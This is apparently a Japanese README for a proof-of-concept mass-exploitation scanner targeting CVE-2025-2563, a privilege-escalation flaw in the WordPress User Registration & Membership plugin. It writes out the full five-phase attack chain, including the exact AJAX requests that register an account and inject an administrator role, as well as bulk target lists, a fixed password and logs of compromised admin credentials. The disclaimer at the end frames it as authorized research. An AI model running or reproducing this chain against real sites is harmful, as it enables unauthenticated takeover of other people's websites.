
User Registration & Membership WordPress プラグイン 4.1.2 以前は、Membership Addon が有効になっている場合にユーザーが自身のアカウントロールを設定することを防げないため、特権昇格の問題が発生し、認証されていないユーザーが管理者権限を取得できるようになります。
WordPress用プラグイン「User Registration & Membership」の4.1.2より前のバージョンでは、Membership Addonが有効な場合にユーザーが自分のアカウントロールを設定することを防いでいません。これにより権限昇格の問題が発生し、認証されていないユーザーが管理者権限を取得できる可能性があります。
説明:
WordPress用プラグイン「User Registration & Membership」の4.1.2より前のバージョンでは、Membership Addonが有効な場合、サーバーサイドのロール制限が適用されません。メンバーシップ登録プロセス中、プラグインはuser_registration_membership_register_member AJAXアクション内でユーザーが指定したroleフィールドを、サーバーサイドの許可リストと照合せずに受け入れます。完全に認証されていないリモート攻撃者は、細工された2段階のAJAXチェーン(まずuser_registration_user_form_submitを介して新しいユーザーアカウントを登録し、次にメンバーシップ呼び出しのmembers_dataペイロードに"role": "administrator"を注入する)を送信することで、完全な権限を持つWordPressの管理者アカウントを静かに作成できます。その結果、認証もユーザーの操作も必要とせずにサイトが完全に侵害されます。
これは、Membership Addonが有効な状態で脆弱なバージョンのUser Registration & Membershipプラグインを実行しているWordPressインストールを対象とした、概念実証(PoC)の大規模悪用スキャナーです。このツールは、自動検出、nonceの収集、コンボ方式の登録、ロールインジェクション、管理者検証を備えたインテリジェントな多段階の悪用を実行します。
[Phase 1 — Discovery]
GET /membership-pricing/ → Extract membership_id, pricing links
GET /membership-registration/ → Extract form_id, nonces, security tokens
GET /registration/ → Fallback registration page
↓
[Phase 2 — Nonce Extraction]
Parse: ur_membership_frontend_localized_data._nonce
Parse: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Phase 3 — Registration (Combo Attack)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Try all valid combos until success=true
↓
[Phase 4 — Role Injection (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Server assigns administrator role to newly created user
↓
[Phase 5 — Admin Verification]
POST /wp-login.php → Login with new credentials
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
または、requirementsファイルを使用する場合:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
このツールは、Richをベースにした完全な対話型ターミナルインターフェースを使用します。
プレーンテキストファイル(デフォルト: list.txt)を作成し、1行につき1つのターゲットを指定します:
https://target1.com
https://target2.com
http://target3.com
target4.com
http://またはhttps://が付いていないターゲットには、自動的にhttps://が先頭に追加されます。
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Max registration attempts per target [20]: 20
パスワードは、すべての登録試行に対して内部的に
Nx_adminSAとして固定されています。
このツールは、ターゲットごとに3つのページを自動的に調査します:
| ページ | 目的 |
|---|---|
/membership-pricing/ | membership_idと登録リンクを抽出 |
以下のトークンは、生のHTMLとインラインJavaScriptから抽出されます:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
このツールは、success: trueの応答を受信するまで、検出されたsecurity、frontend_nonce、form_id、membership_idのすべての組み合わせを自動的に試行します。
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
"role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}
⚠️ サーバーは許可リストなしで
roleフィールドを受け入れます — これがCVE-2025-2563の根本原因です。
| ファイル | 説明 |
|---|---|
reg.txt | 資格情報付きのすべての成功した登録試行 |
Nx_admin.txt | 確認されたすべての管理者権限昇格 |
reg.txt:
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA
╔══════════════════════════════════════════════════════════════════╗
║ User Registration Membership Full Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCANNING] https://target.com
[EXPLOITING] https://target.com | nonce + reg OK
[EXPLOITED] https://target.com | password: Nx_adminSA
┌──────────────────────────────────────────────────────────────────────────┐
│ Target │ Status │ Password / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ COMPROMISED (exploited) │ password: Nx_adminSA│
│ https://target2.com │ VULNERABLE (nonce exposed) │ │
│ https://target3.com │ DEAD (connection error) │ │
└──────────────────────────────────────────────────────────────────────────┘
Registration log: reg.txt
Exploit (admin) log: Nx_admin.txt
By: Nxploited (Khaled Alenazi)
このツールは、教育目的および許可を得たセキュリティ調査の目的でのみ提供されます。
著者である**Nxploited(Khaled Alenazi)**および本プロジェクトへのすべての貢献者は、このツールの誤用、または明示的な書面による許可を得ていないシステムに対する本ソフトウェアの使用によって生じたいかなる損害についても、容認せず、支持せず、一切の責任を負いません。
- ✅ 許可される行為: 自分が所有するシステム、またはテストするための明示的な書面による許可を付与されたシステムでの使用。
- ❌ 禁止される行為: システム所有者からの事前の明示的な書面による承認なしに、いかなるシステムに対しても使用すること。
コンピュータシステムへの不正アクセスは違法であり、適用される法律に基づき処罰の対象となります。これには、Computer Fraud and Abuse Act(CFAA)、Computer Misuse Act(CMA)、および世界各国の同等の法律が含まれますが、これらに限定されません。
本ツールを使用することにより、利用者はご自身の行動に対して単独かつ全面的な責任を負うことに同意し、対象システムをテストする法的権限を有していることを確認したものとみなされます。
著者は、本ソフトウェアの使用または誤用から生じる直接的、間接的、付随的、または結果的な損害について、いかなる責任も負いません。
© 2025 Nxploited (Khaled Alenazi) — For authorized security research only.
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2025-2563 |
| 深刻度 | 高 — CVSS v3.1スコア: 8.1 |
| ベクター | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| 影響を受けるソフトウェア | WordPress用プラグイン「User Registration & Membership」 |
| 影響を受けるバージョン | 4.1.2より前の全バージョン |
| 脆弱性の種類 | 不適切な権限管理 — 未認証による管理者アカウントの作成 |
| 必要な認証 | なし |
| CWE | CWE-269: 不適切な権限管理 |
/membership-registration/ | フォームトークン、nonce、フィールドIDを抽出 |
/membership-registration/?membership_id=<id> | プラン固有のフォームを抽出 |
/registration/ | 汎用登録ページへのフォールバック |
| トークン | 取得元 |
|---|
_nonce | ur_membership_frontend_localized_data JSオブジェクト |
ur_frontend_form_nonce | 隠し入力フィールドまたはJSオブジェクト |
security | user_registration_params.user_registration_form_data_save |
form_id | 隠し入力 ur-user-form-id またはJSオブジェクト |
membership_id | ラジオ入力 urm_membership またはURLクエリ文字列 |
| ステータス | 色 | 意味 |
|---|
COMPROMISED (exploited) | 🟢 緑 | チェーン全体が成功 — 管理者ログインを検証済み |
COMPROMISED (exploit ok, admin not verified) | 🟡 黄 | ロールインジェクションは成功したが、管理者パネルの確認は決定的ではない |
VULNERABLE (nonce exposed, registration failed) | 🟡 黄 | メンバーシップnonceは見つかったが、登録AJAXが失敗 |
VULNERABLE (nonce exposed, exploit pending) | 🟡 黄 | nonceは見つかったが、悪用を完了できなかった |
EXPLOITING | 🟡 黄 | 悪用を実行中 |
REGISTERED (no membership nonce) | 🟡 黄 | 登録は成功したが、nonceを抽出できない |
NO REG (all attempts failed) | ⚫ 黒 | すべてのsecurity/nonce/form_idの組み合わせ試行を使い果たした |
NO REG (max attempts reached) | ⚫ 黒 | 設定された試行回数の上限に達した |
DEAD (no membership/registration pages) | ⚫ 黒 | ターゲット上でプラグインを検出できなかった |
EXPLOIT FAILED (request error) | 🔴 赤 | ロールインジェクション呼び出し中にネットワークエラーが発生 |
EXPLOIT FAILED (success=false) | 🔴 赤 | ロールインジェクションでサーバーがsuccess: falseを返した |
TIMEOUT | ⚫ 黒 | HTTPタイムアウト |
DEAD (connection error) | ⚫ 黒 | 接続拒否 / 到達不能 |
ERROR | 🔴 赤 | 予期しない例外 |